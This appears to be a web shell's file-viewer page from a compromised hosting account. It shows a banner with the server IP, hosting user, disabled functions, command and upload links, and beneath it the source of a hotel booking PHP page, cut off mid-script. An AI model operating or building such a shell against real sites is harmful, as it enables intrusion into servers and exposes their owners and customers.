|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/jb/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include "_config.php";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="INFO HTML5 Template">
<title>JB-Residency</title>
<!-- Fav Icon -->
<link rel="icon" type="image/x-icon" href="assets/logo/logo.png" />
<!-- All CSS files -->
<link rel="stylesheet" href="assets/css/bootstrap.min.css">
<link rel="stylesheet" href="assets/css/all.min.css">
<link rel="stylesheet" href="assets/css/swiper-bundle.min.css">
<link rel="stylesheet" href="assets/css/progressbar.css">
<link rel="stylesheet" href="assets/css/meanmenu.min.css">
<link rel="stylesheet" href="assets/css/magnific-popup.css">
<link rel="stylesheet" href="assets/css/basictable.min.css">
<link rel="stylesheet" href="assets/css/master-social-influence.css">
<link rel="stylesheet" href="assets/css/master-interior-designer.css" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/pannellum@2.5.6/build/pannellum.css" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.css" />
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css">
<!-- Include Flatpickr CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/flatpickr/dist/flatpickr.min.css">
<style>
#panorama {
height: 750px;
}
.elc-inbd-comment__field ul {
list-style-type: none;
}
.elc-inbd-comment__field li {
display: inline-block;
}
.elc-inbd-comment__field input[type="radio"][id^="cb"] {
display: none;
}
.elc-inbd-comment__field ul li label {
border: 1px solid #c6b496;
padding: 10px;
display: block;
position: relative;
margin: 10px;
cursor: pointer;
}
.elc-inbd-comment__field label:before {
background-color: white;
color: white;
content: " ";
display: block;
border-radius: 50%;
border: 1px solid #c4b294;
position: absolute;
top: -5px;
right: -5px;
width: 26px;
height: 26px;
text-align: center;
line-height: 25px;
transition-duration: 0.4s;
transform: scale(0);
}
.elc-inbd-comment__field label img {
width: 100%;
height: 400px;
transition-duration: 0.2s;
transform-origin: 50% 50%;
}
:checked + label {
border-color: #ddd;
}
:checked + label:before {
content: "\f00c";
font-family: 'FontAwesome';
background-color: #c4b294;
transform: scale(1);
}
:checked + label img {
transform: scale(0.9);
box-shadow: 0 0 5px #333;
z-index: -1;
}
.step { display: none; }
.step.active { display: block; }
.modal { display: none; position: fixed; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.5); justify-content: center; align-items: center; }
.modal-content { background: white; padding: 20px; width: 400px; }
.modal.show { display: flex; }
.elc-inbd-comment__field ul li input[type="radio"]{
display:none;
}
/* .guests-input{
display:flex;
justify-content:space-between;
} */
.form-select {
width: auto;
font-size: 14px;
border-radius: 4px;
}
.room-card {
border-radius: 10px;
overflow: hidden;
margin-bottom:20px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
}
.room-title {
font-weight: 600!important;
display: flex;
justify-content: space-between;
align-items: center;
padding:10px 0px 0px 10px;
}
.option-item {
display:flex;
justify-content:space-between;
align-items:center;
}
.room-options .option-item {
padding: 25px 10px;
margin-bottom:10px;
border-bottom: 1px solid #eaeaea;
}
.room-options .option-item:last-child {
border-bottom: none;
}
.price {
color: #000;
font-size: 1rem;
margin-right: 10px;
}
@media (max-width: 768px) {
.option-item {
flex-direction: column;
align-items: flex-start;
}
.option-item .d-flex {
flex-direction: column;
align-items: flex-start;
}
.option-item button {
/* margin-top: 10px; */
/* width: 100%; */
}
}
.room-card {
border: 1px solid #ddd;
border-radius: 8px;
overflow: hidden;
}
.wrapper {
width: 100%;
height: 100%;
display: flex;
justify-content: center;
align-items: center;
}
.badge {
padding: 8px 12px;
cursor: pointer;
position: relative;
color: #333;
border-radius: 5px;
}
</style>
<style>
.search-bar {
background-color: #e3dac4;
padding: 20px;
margin-bottom:20px;
border-radius: 8px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.search-bar label{
color:#272f28!important;
}
.guests-input {
position: relative;
}
.form-control[readonly] {
background-color: #ffffff!important;
opacity: 1;
}
.guests-input__options {
display: none;
position: absolute;
top: 100%;
left: 0;
background-color: #fff;
border: 1px solid #ddd;
border-radius: 5px;
width: 100%;
padding: 10px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.flatpickr-calendar{
display:none!important;
}
.guests-btn.active + .guests-input__options {
display: block;
}
.quantity-selector {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 10px;
}
.guests-input__ctrl {
font-size: 18px;
font-weight: bold;
padding: 5px 10px;
background-color: #ddd;
border-radius: 50%;
cursor: pointer;
}
.guests-input__value {
font-weight: 500;
}
.toggle-icon {
position: absolute;
top: 50%;
right: 10px;
transform: translateY(-50%);
cursor: pointer;
}
.btn-dark {
background-color: #343a40;
color: #fff;
border-radius: 5px;
padding: 8px 10px;
font-weight: 600;
}
.btn-dark:hover {
background-color: #23272b;
}
.room-title{
padding-bottom:10px;
display:flex;
justify-content: space-between;
border-bottom:1px solid rgba(0, 0, 0, .1);
}
#searchBtn{
margin-top:10px;
}
.currency-select {
padding: 8px;
font-size: 16px;
border: 1px solid transparent;
border-radius: 4px;
background: #e2d9c4;
}
</style>
<style>
.daterangepicker {
background-color: #f8f9fa;
border: 1px solid #ced4da;
}
.daterangepicker .calendar-table {
background-color: #ffffff;
}
.daterangepicker td.active, .daterangepicker td.active:hover {
background-color: #007bff;
color: white;
}
.daterangepicker td.in-range {
background-color: #e9ecef;
}
</style>
</head>
<body class="font-heading-romanstory">
<!-- Body Ovelay -->
<div class="body-overlay"></div>
<!-- Preloader -->
<div id="preloader">
<div id="container" class="container-preloader">
<div class="animation-preloader">
<div class="spinner"></div>
<!-- <div class="txt-loading">
<span data-text="J" class="characters" style="font-family:Glorify DEMO">J</span>
<span data-text="B" class="characters" style="font-family:Glorify DEMO">B</span>
</div> -->
</div>
<div class="loader-section section-left"></div>
<div class="loader-section section-right"></div>
</div>
</div>
<!-- Cursor Animation -->
<div class="cursor1"></div>
<!-- Sroll to top -->
<div class="progress-wrap">
<svg
class="progress-circle svg-content"
width="100%"
height="100%"
viewBox="-1 -1 102 102"
>
<path d="M50,1 a49,49 0 0,1 0,98 a49,49 0 0,1 0,-98"></path>
</svg>
</div>
<!-- Switcher Area Start -->
<!-- Switcher Area End -->
<!-- offcanvas start -->
<div class="offcanvas__area">
<div class="offcanvas offcanvas-end" tabindex="-1" id="offcanvasOne">
<button class="offcanvas__close" data-bs-dismiss="offcanvas"><i class="fa-solid fa-xmark"></i></button>
<div class="offcanvas__body">
<div class="offcanvas__logo">
<a href="index.php">
<img src="assets/logo/logo-fav.png" class="show-dark" alt="Offcanvas Logo">
<img src="assets/imgs/logo/site-logo-dark.png" class="show-light" alt="Offcanvas Logo">
</a>
<p>StayFit: Wellness for Your Stay - Gym, Dining, Events - Tailored Hospitality for a Memorable Experience. Book Now!</p>
</div>
<div class="offcanvas__menu-area">
<div class="offcanvas__menu-wrapper"></div>
</div>
<div class="offcanvas__gallery">
<p class="offcanvas__title">gallery</p>
<div class="gallery__items">
<div class="gallery__item">
<a href="#"><img src="assets/Rooms/2.jpg" alt="gallery Image">
<span><i class="fa-brands fa-instagram"></i></span></a>
</div>
<div class="gallery__item">
<a href="#"><img src="assets/Rooms/1.jpg" alt="gallery Image">
<span><i class="fa-brands fa-instagram"></i></span></a>
</div>
<div class="gallery__item">
<a href="#"><img src="assets/Rooms/3.jpg" alt="gallery Image">
<span><i class="fa-brands fa-instagram"></i></span></a>
</div>
<div class="gallery__item">
<a href="#"><img src="assets/Rooms/4.jpg" alt="gallery Image">
<span><i class="fa-brands fa-instagram"></i></span></a>
</div>
<div class="gallery__item">
<a href="#"><img src="assets/Rooms/5.jpg" alt="gallery Image">
<span><i class="fa-brands fa-instagram"></i></span></a>
</div>
<div class="gallery__item">
<a href="#"><img src="assets/Rooms/6.jpg" alt="gallery Image">
<span><i class="fa-brands fa-instagram"></i></span></a>
</div>
</div>
</div>
<div class="offcanvas__media">
<p class="offcanvas__title">Follow</p>
<ul>
<li><a href="#"><i class="fa-brands fa-facebook-f"></i></a></li>
<li><a href="#"><i class="fa-brands fa-linkedin"></i></a></li>
<li><a href="#"><i class="fa-brands fa-twitter"></i></a></li>
<li><a href="#"><i class="fa-brands fa-instagram"></i></a></li>
<li><a href="#"><i class="fa-brands fa-pinterest-p"></i></a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="has-smooth" id="has_smooth"></div>
<div id="smooth-wrapper">
<div id="smooth-content">
<div class="body-wrapper body-sfluence">
<!-- overlay switcher close -->
<div class="overlay-switcher-close"></div>
<!-- Header area start -->
<div class="intDesigner-header__logo pt-4" style="display:flex; justify-content:center;">
<a href="index.php">
<img src="assets/logo/logo-fav.png" alt="Site Logo">
</a>
</div>
<header class="intDesigner-header pos-abs zi-9">
<div class="intDesigner-header__inner">
<div class="intDesigner-header__logo">
<!-- <a href="index.php">
<img src="assets/logo/logo-fav.png" alt="Site Logo">
</a> -->
</div>
<div class="intDesigner-header__nav">
<nav class="main-menu menu-light">
<ul>
<li ><a class=" nav-active-color"href="index.php">Weclome</a></li>
<li class="menu-item-has-children">
<a href="Stay.php" class="font-yellow-1">Stay</a>
<ul class="dp-menu">
<li><a href="Executive_Room.php" >Executive Room</a></li>
<li><a href="Mini_Suite.php">Mini Suite</a></li>
<li><a href="King_Suite.php">King Suite</a></li>
<li><a href="President_Suite.php" >President Suite</a></li>
</ul>
</li>
<li><a class="font-yellow-1" href="restaurant.php">Dine</a></li>
<li><a class="font-yellow-1" href="experience.php">Experience</a></li>
<li><a class="font-yellow-1" href="banquet.php">Meet & Celebrate</a></li>
<li><a class="font-yellow-1" href="in_around.php">In & Around</a></li>
<li ><a class="font-yellow-1" href="contact.php">Contact</a></li>
<li ><div class="cf_btn lawyer-contact__box-btn sfluence-contact__box-btn mobile-hidden">
<a class="wc-btn-default p-3 ps-4 pe-4 text-white mb-4" href="booking.php">Book Now</a>
</div></li>
</ul>
</nav>
</div>
<div class="intDesigner-header__others">
<div class="intDesigner-header__navicon">
<button id="open_offcanvas" data-bs-toggle="offcanvas" data-bs-target="#offcanvasOne">
<img src="assets/imgs/interior-designer/bar-light.png" alt="menu bar"></button>
</div>
</div>
</div>
</header>
<!-- Header area end -->
<main>
<section class="interior-contact__area pt-150 ">
<div class="container">
<div class="joya__contact-wrap">
<!-- <div class="interior-inc-comment-wrapper">
<h1 class="joya__contact-title pb-0 has_text_reveal_anim font-yellow">Contact</h1>
<p class="joya__contact-dis has_fade_anim">We're excited to hear from you and let's start <br>
something
special togerter. call us <br> for any inquery.</p>
</div> -->
<!-- <div class="interior-inc-comment-form has_fade_anim">
<form action="#">
<div class="elc-inbd-comment__form">
<div class="row">
<div class="col-lg-4">
<div class="elc-inbd-comment__field mb-30">
<label for="name" class="font-yellow">Check-in Date:</label>
<input type="date" id="checkin" name="checkin">
</div>
</div>
<div class="col-lg-4">
<div class="elc-inbd-comment__field mb-30">
<label for="name" class="font-yellow">Check-out Date:</label>
<input type="date" id="checkout" name="checkout">
</div>
</div>
<div class="col-lg-4">
<div class="elc-inbd-comment__field mb-30">
<div class="booking-form__input guests-input">
<label for="guests-input-btn" class=" font-yellow">Guests</label>
<button name="guests-btn " id="guests-input-btn">1 guest</button>
<div class="guests-input__options" id="guests-input-options">
<div>
<span class="guests-input__ctrl minus" id="adults-subs-btn">-</span>
<span class="guests-input__value"><span id="guests-count-adults">1</span> Adults</span>
<span class="guests-input__ctrl plus" id="adults-add-btn">+</span>
</div>
<div>
<span class="guests-input__ctrl minus" id="children-subs-btn">-</span>
<span class="guests-input__value"><span id="guests-count-children">0</span> Children</span>
<span class="guests-input__ctrl plus" id="children-add-btn">+</span>
</div>
</div>
</div>
</select>
</div>
</div>
</div>
<div class="cf_btn int-inbd-comment__btn-wrapper mt-30">
<button type="submit" class="wc-btn-default btn-hover-divide">Submit Now </button>
</div>
</div>
</form>
</div> -->
</div>
</div>
</section>
<!-- blog details area start -->
<!-- sfluence-inbd__area -->
<section class="elc-inbd-hero__area mb-20 step active" id="step-1">
<div class="container">
<div class="sfluence-inbd__area-sec-title-wrapper pb-0" style="display: grid; justify-content: center; justify-items: center;">
<h1 class="sfluence-inbd__area-sec-title has_text_reveal_anim">Book Your Stay Now</h1>
<p class="mt-4 para-100">
Make your reservation now for a hassle-free stay at Hotel Sriram JB Residency
</p>
</div>
</div>
<div class="interior-inc-comment-form has_fade_anim">
<div class="container elc-inbd-comment__form p-0">
<div class="row">
<div class="col-md-12">
<form id="bookingForm" method="POST" action="session_handler.php">
<div class="container mt-4">
<div class="search-bar">
<div class="row g-3 align-items-end">
<div class="col-md-5 m-0">
<div class="d-flex justify-content-between">
<label class="form-label">Check In</label>
<label class="form-label">Check Out</label>
</div>
<input class="form-control" type="text" id="dateRangePicker" placeholder="Select date range">
<input type="hidden" id="startDate">
<input type="hidden" id="endDate">
</div>
<div class="col-lg-4 m-0">
<div class="elc-inbd-comment__field">
<div class="booking-form__input guests-input m-0" style="margin-bottom:5px;">
<label for="guests-input-btn" class="form-label">Guests & Room</label>
<button type="button" name="guests-btn" id="guests-input-btn" class="active">2 Adults, 1 Room</button>
<div class="guests-input__options" id="guests-input-options">
<div>
<span class="guests-input__ctrl minus" id="rooms-subs-btn">-</span>
<span class="guests-input__value"><span id="rooms-count">1</span> Room</span>
<span class="guests-input__ctrl plus" id="rooms-add-btn">+</span>
</div>
<div>
<span class="guests-input__ctrl minus" id="adults-subs-btn">-</span>
<span class="guests-input__value"><span id="guests-count-adults">2</span> Adults</span>
<span class="guests-input__ctrl plus" id="adults-add-btn">+</span>
</div>
<div>
<span class="guests-input__ctrl minus" id="children-subs-btn">-</span>
<span class="guests-input__value"><span id="guests-count-children">0</span> Children</span>
<span class="guests-input__ctrl plus" id="children-add-btn">+</span>
</div>
</div>
<i class="fa fa-angle-down" data-selenium="ficon-icon-box"></i>
</div>
</div>
</div>
<div class="col-md-2 m-0">
<label class="form-label">Promo Code</label>
<input type="text" class="form-control" placeholder="Promo">
</div>
<div class="col-md-1 m-0">
<label class="form-label d-none d-md-block"> </label>
<button type="button" class="btn btn-dark" id="searchBtn">Search</button>
</div>
</div>
</div>
<div id="searchResults">
</div>
<div id="original_rooms" >
<?php
class RoomDisplay {
private $con;
private $extraBedPrice = 1200;
public function __construct($con) {
$this->con = $con;
}
public function getRooms() {
$currentDate = date('Y-m-d');
$sql = "
SELECT
r.rid,
r.squarefeet,
r.rname,
r.capacity,
r.rprice,
r.rimg,
r.rqty,
IFNULL(ed.total_rooms, r.rqty) AS adjusted_qty,
SUM(CASE
WHEN b.check_in <= ? AND b.check_out >= ? THEN IFNULL(b.room_qty, 0)
ELSE 0
END) AS booked_qty,
IFNULL(ed.total_rooms, r.rqty) - SUM(CASE
WHEN b.check_in <= ? AND b.check_out >= ? THEN IFNULL(b.room_qty, 0)
ELSE 0
END) AS available_qty
FROM rooms r
LEFT JOIN room_bookings b
ON r.rname = b.room_name
LEFT JOIN edit_dates ed
ON r.rid = ed.rid AND ed.date = ? -- Check for matching date
GROUP BY r.rid;
";
$stmt = $this->con->prepare($sql);
if ($stmt === false) {
throw new Exception("Error preparing statement: " . $this->con->error);
}
$stmt->bind_param('sssss', $currentDate, $currentDate, $currentDate, $currentDate, $currentDate);
if (!$stmt->execute()) {
throw new Exception("Error executing query: " . $stmt->error);
}
return $stmt->get_result();
}
private function getSubCategories($roomId) {
$sql = "SELECT sub_category.suid, sub_category.sub_name, sub_category.sub_price
FROM sub_category
WHERE sub_category.rid = ?
AND sub_category.sub_name != 'Extra Bed'";
$stmt = $this->con->prepare($sql);
$stmt->bind_param("i", $roomId);
if ($stmt === false) {
throw new Exception("Error preparing statement: " . $this->con->error);
}
if (!$stmt->execute()) {
throw new Exception("Error executing query: " . $stmt->error);
}
return $stmt->get_result();
}
public function displayRooms() {
try {
$result = $this->getRooms();
$hasAvailableRooms = false;
while ($room = $result->fetch_assoc()) {
if ($room['available_qty'] > 0) {
$this->displayRoomCard($room);
$hasAvailableRooms = true;
}
}
if (!$hasAvailableRooms) {
echo '<div>No rooms are currently available.</div>';
}
} catch (Exception $e) {
echo '<div class="alert alert-danger">Error: ' . htmlspecialchars($e->getMessage()) . '</div>';
}
}
public function getAvailableRooms($checkIn, $checkOut, $guests) {
$checkIn = date('Y-m-d', strtotime($checkIn));
$checkOut = date('Y-m-d', strtotime($checkOut));
$query = "SELECT r.*,
(SELECT COUNT(*)
FROM bookings b
WHERE b.rid = r.rid
AND (
(b.check_in <= ? AND b.check_out >= ?) OR
(b.check_in <= ? AND b.check_out >= ?) OR
(b.check_in >= ? AND b.check_out <= ?)
)) as booked_rooms
FROM rooms r
WHERE r.capacity >= ?";
$stmt = $this->con->prepare($query);
$stmt->bind_param("ssssssi",
$checkOut, $checkIn,
$checkIn, $checkIn,
$checkIn, $checkOut,
$guests
);
$stmt->execute();
return $stmt->get_result();
}
public function calculateAvailability($roomId, $checkIn, $checkOut) {
$query = "SELECT total_rooms - COUNT(b.bid) as available
FROM rooms r
LEFT JOIN bookings b ON r.rid = b.rid
WHERE r.rid = ? AND (
(b.check_in <= ? AND b.check_out >= ?) OR
(b.check_in <= ? AND b.check_out >= ?) OR
(b.check_in >= ? AND b.check_out <= ?)
)
GROUP BY r.rid";
$stmt = $this->con->prepare($query);
$stmt->bind_param("issssss",
$roomId,
$checkOut, $checkIn,
$checkIn, $checkIn,
$checkIn, $checkOut
);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
return $row ? $row['available'] : 4;
}
private function displayRoomCard($room) {
$available_qty = $room['available_qty'];
if ($available_qty <= 0) {
return;
}
$formattedPrice = number_format($room['rprice'], 2);
?>
<div class="card room-card mb-4" style="background: #e3dac4;">
<div class="row g-0">
<div class="col-md-4">
<img src="admin/apps/ecommerce/catalog/<?= htmlspecialchars($room['rimg']) ?>"
class="img-fluid rounded-start"
alt="<?= htmlspecialchars($room['rname']) ?>"
style="height:370px; width:100%; object-fit:cover;">
</div>
<div class="col-md-8">
<div class="card-body p-0 pt-3 ">
<h5 class="room-title " >
<?= htmlspecialchars($room['rname']) ?>
<div>
<span class="badge" style="font-family: euclid_Circular_B;" data-bs-toggle="tooltip" data-bs-placement="top" title="Maximum <?= htmlspecialchars($room['capacity']) ?> guests">
<i class="fa fa-user"></i> <?= htmlspecialchars($room['capacity']) ?>
</span>
<span class="badge text-dark">
<?= htmlspecialchars($room['squarefeet']) ?>
</span>
<input type="hidden" name="room_name_<?= $room['rid'] ?>" value="<?= htmlspecialchars($room['rname']) ?>">
<input type="hidden" name="rid" value="<?= htmlspecialchars($room['rid']) ?>">
<span class="badge text-dark" data-bs-toggle="tooltip" data-bs-placement="top" title="2 Doubles">
<i class="fa fa-bed"></i>
</span>
</div>
</h5>
<div class="room-options p-2">
<?php
$subCategories = $this->getSubCategories($room['rid']);
while ($subCategory = $subCategories->fetch_assoc()) {
$formattedSubPrice = number_format($subCategory['sub_price']);
?>
<div class="option-item ">
<div class="option-session" >
<div>
<p class="room_name p-0 m-0">
<?= htmlspecialchars($subCategory['sub_name']) ?><i class="ps-2 fa-solid fa-eye"></i>
</p>
<?php
$page = '';
switch ($room['rid']) {
case 1:
$page = 'Executive_Room';
break;
case 2:
$page = 'Mini_Suite';
break;
case 3:
$page = 'King_Suite';
break;
case 4:
$page = 'President_Suite';
break;
// default:
// $page = 'room_details';
}
?>
<a href="<?= $page ?>" class="text-success small">
More Info <i class="fa fa-arrow-right" style="transform:rotate(-40deg);"></i>
</a>
</div>
<button type="submit"
class="booking_room mobile-show"
name="book_room"
data-room-id="<?= htmlspecialchars($subCategory['suid']) ?>">
Book
</button>
</div>
<input type="hidden" name="base_price_<?= $subCategory['suid'] ?>" value="<?= $formattedSubPrice ?>">
<input type="hidden" name="suid_<?= $subCategory['suid'] ?>" value="<?= $subCategory['suid']; ?>">
<input type="hidden" name="room_type_<?= $subCategory['suid'] ?>" value="<?= htmlspecialchars($subCategory['sub_name']) ?>">
<div class="rooms-details mt-2">
<div class="pe-3 text-dark">
2 <i class="fa fa-user ps-1"></i>
</div>
<div class="pe-3">
<label for="quantity_<?= $room['rid'] ?>">Room(s)</label>
<select id="quantity_<?= $room['rid'] ?>"
class="quantity1 form-select form-select-sm room-quantity"
data-room-id="<?= $subCategory['suid'] ?>"
data-price="<?= $subCategory['sub_price'] ?>"
onchange="updateExtraBedOptions(this)">
<?php for ($i = 0; $i <= $available_qty; $i++): ?>
<option value="<?= $i ?>"><?= $i ?></option>
<?php endfor; ?>
</select>
</div>
<div class="price-section">
<span class="price" data-base-price="<?= $formattedSubPrice ?>">
INR <?= $formattedSubPrice ?>
</span>
<div class="room" onmouseover="showPopup(this)" onmouseout="hidePopup(this)">
<p class="text-muted small room-name">Tax Exclusive <i class="fas fa-info-circle"></i></p>
<div class="popup">
<div class="roomsdetails">Rate for 1 Night 2 Guests 1 Room</div>
<p>
<span align="right">INR</span><br>
<span style="display:flex; justify-content:space-between;">
<?= $formattedSubPrice ?>
</span>
<span style="display:flex; justify-content:space-between;">
<span>Taxes</span>
<span>420</span>
</span>
<span style="display:flex; justify-content:space-between;">
<span>Total(Tax Inclusive)</span>
<span style="border-top:1px solid black;"><b>3,920</b></span>
</span>
</p>
</div>
</div>
</div>
<button type="submit"
class="ms-3 booking_room mobile-hidden"
name="book_room"
data-room-id="<?= htmlspecialchars($subCategory['suid']) ?>">
Book
</button>
</div>
</div>
<?php
}
?>
</div>
</div>
</div>
</div>
</div>
<?php
}
}
$roomDisplay = new RoomDisplay($con);
$roomDisplay->displayRooms();
?>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</section>
<!-- blog details area end -->
<!-- Subscribe area start -->
<!-- Subscribe area end -->
</main>
<div id="booking-list" class="mt-4"></div>
<div class="container">
</div>
<!-- <div class="sfluence-subscribe__area pt-130 pb-130">
<div class="container">
<div class="row">
<div class="col-xxl-12">
<h2 class="sfluence-subscribe__title ">Subscribe me for <br> newsletter</h2>
<div class="sfluence-subscribe__width">
<div class="sfluence-subscribe__form">
<form action="#">
<input type="email" name="email" placeholder="Enter your email">
<input type="submit" value="Submit" class="submit">
</form>
</div>
</div>
</div>
</div>
</div>
</div> -->
<!-- Footer area start -->
<footer>
<div
class="intDesigner-footer__area pt-100 pb-100"
style="background-color:#272f28 !important">
<div class="container">
<div class="intDesigner-footer__widgets-wrapper">
<div class="footer__widget">
<div class="intDesigner-footer__logo">
<a href="index.php">
<img
src="assets/logo/logo-fav.png"
class="show-dark"
alt="Site Logo"
/>
<img
src="assets/logo/logo-fav.png"
class="show-light"
alt="Site Logo"
/>
</a>
</div>
</div>
<div class="footer__widget">
<div class="intDesigner-footer__menu">
<ul>
<li><a href="#">About Us</a></li>
<li><a href="#">Rooms</a></li>
<li><a href="contact.php">Contact</a></li>
<li><a href="terms_condition">Terms & Condition</a></li>
<li><a href="privacy_policy">Privacy Policy</a></li>
</ul>
</div>
</div>
<div class="footer__widget">
<div class="intDesigner-footer__menu">
<ul>
<li>
<a href="#"
>Rama moorthi road, Annanagar, Allampatti
</a>
</li>
<li><a href="#">viruthunagar, Tamil Nadu.</a></li>
</ul>
</div>
</div>
<div class="footer__widget">
<div class="intDesigner-footer__menu">
<ul>
<li><a href="#">info@sriramjbresidency.com</a></li>
<li><a href="#">4546 7678 6787</a></li>
</ul>
</div>
</div>
</div>
</div>
</div>
<div class="intDesigner-copyright__area">
<div class="container">
<div class="intDesigner-copyright__inner">
<div class="intDesigner-copyright__text">
<p>© Alrights reserved by JB-Residency</p>
</div>
<div class="intDesigner-copyright__social">
<a href="#">Facebook</a><a href="#">Twitter</a
><a href="#">Instagram</a>
</div>
<div class="intDesigner__go-top">
<a href="#" class="go-top__btn">
Go Top
<div class="cf_image">
<img
src="assets/imgs/interior-designer/arrow-up.png"
class="show-dark"
alt="image"
/><img
src="assets/imgs/interior-designer/arrow-up-dark.png"
class="show-light"
alt="image"
/>
</div>
</a>
</div>
</div>
</div>
</div>
</footer>
<!-- Footer area end -->
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/flatpickr"></script>
<!-- Include external JS libraries as needed -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js"></script>
<!-- All JS files -->
<script src="assets/js/jquery-3.6.0.min.js"></script>
<script src="assets/js/bootstrap.bundle.min.js"></script>
<script src="assets/js/jquery.magnific-popup.min.js"></script>
<script src="assets/js/swiper-bundle.min.js"></script>
<script src="assets/js/counter.js"></script>
<script src="assets/js/typed.js"></script>
<!-- <script src="assets/js/mixitup.min.js"></script> -->
<!-- <script src="assets/js/progressbar.js"></script> -->
<script src="assets/js/gsap.min.js"></script>
<script src="assets/js/ScrollSmoother.min.js"></script>
<script src="assets/js/ScrollToPlugin.min.js"></script>
<script src="assets/js/ScrollTrigger.min.js"></script>
<script src="assets/js/SplitText.min.js"></script>
<script src="assets/js/TweenMax.min.js"></script>
<script src="assets/js/jquery.meanmenu.min.js"></script>
<!-- <script src="assets/js/beforeafter.jquery-1.0.0.min.js"></script> -->
<!-- <script src="assets/js/basictable.min.js"></script> -->
<script src="assets/js/backToTop.js"></script>
<script src="assets/js/main.js"></script>
<script src="assets/js/error-handling.js"></script>
<script src="assets/js/wc-cursor.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"></script>
<script src="https://cdn.jsdelivr.net/momentjs/latest/moment.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/flatpickr"></script>
<script>
$(document).ready(function() {
$('#dateRangePicker').daterangepicker({
opens: 'left',
minDate: moment(),
locale: {
format: 'MM/DD/YYYY'
}
}, function(start, end) {
$('#startDate').val(start.format('YYYY-MM-DD'));
$('#endDate').val(end.format('YYYY-MM-DD'));
performRoomSearch();
});
let guestInputBtn = document.getElementById('guests-input-btn');
let guestOptions = document.getElementById('guests-input-options');
guestInputBtn.addEventListener('click', function() {
guestOptions.classList.toggle('active');
});
let roomCount = 1;
const maxRooms = 4;
$('#rooms-add-btn').click(function() {
if (roomCount < maxRooms) {
roomCount++;
updateRoomCount();
}
});
$('#rooms-subs-btn').click(function() {
if (roomCount > 1) {
roomCount--;
updateRoomCount();
}
});
let adultCount = 2;
let childCount = 0;
$('#adults-add-btn').click(function() {
adultCount++;
updateGuestCount();
});
$('#adults-subs-btn').click(function() {
if (adultCount > 1) {
adultCount--;
updateGuestCount();
}
});
$('#children-add-btn').click(function() {
childCount++;
updateGuestCount();
});
$('#children-subs-btn').click(function() {
if (childCount > 0) {
childCount--;
updateGuestCount();
}
});
function updateRoomCount() {
$('#rooms-count').text(roomCount);
updateGuestInputButton();
}
function updateGuestCount() {
$('#guests-count-adults').text(adultCount);
$('#guests-count-children').text(childCount);
updateGuestInputButton();
}
function updateGuestInputButton() {
let text = `${adultCount} Adults`;
if (childCount > 0) {
text += `, ${childCount} Children`;
}
text += `, ${roomCount} Room${roomCount > 1 ? 's' : ''}`;
$('#guests-input-btn').text(text);
}
function performRoomSearch() {
const searchData = {
checkIn: $('#startDate').val(),
checkOut: $('#endDate').val(),
rooms: roomCount,
adults: adultCount,
children: childCount
};
if (!searchData.checkIn || !searchData.checkOut) {
alert('Please select check-in and check-out dates.');
return;
}
$.ajax({
url: 'search_rooms.php',
method: 'POST',
data: searchData,
success: function(response) {
console.log('Search Results:', response);
$('#original_rooms').hide();
if (response.trim() !== '') {
$('#searchResults').html('<h3>Search Result:</h3>' + response);
} else {
$('#searchResults').html('No rooms available for the selected dates.');
}
$('.room-quantity').each(function() {
const maxAvailable = $(this).data('max-available');
if (maxAvailable < maxRooms) {
$(this).find('option').each(function() {
if (parseInt($(this).val()) > maxAvailable) {
$(this).remove();
}
});
}
});
},
error: function(xhr, status, error) {
console.error('Search Error:', error);
alert('Error searching for rooms. Please try again.');
}
});
}
$('#searchBtn').click(function() {
performRoomSearch();
});
});
function showPopup(element) {
$(element).find('.popup').show();
}
function hidePopup(element) {
$(element).find('.popup').hide();
}
function initRoomPricingCalculator() {
document.querySelectorAll('.quantity1').forEach(function(selectElement) {
updatePricing(selectElement);
selectElement.addEventListener('change', function() {
updatePricing(this);
updateExtraBedOptions(this);
});
});
}
function cleanPrice(priceString) {
if (!priceString) return 0;
return parseFloat(priceString.toString()
.replace(/INR/gi, '')
.replace(/[₹,\s]/g, '')
.trim()) || 0;
}
function updateExtraBedOptions(selectElement) {
const parentContainer = selectElement.closest('.pe-3').parentElement;
if (!parentContainer) {
console.error('Parent container not found');
return;
}
const roomQty = parseInt(selectElement.value, 10);
const extraBedPrice = parseFloat(selectElement.getAttribute('data-extra-bed-price') || '1000');
const existingContainer = parentContainer.querySelector('.extra-bed-container');
if (existingContainer) {
existingContainer.remove();
}
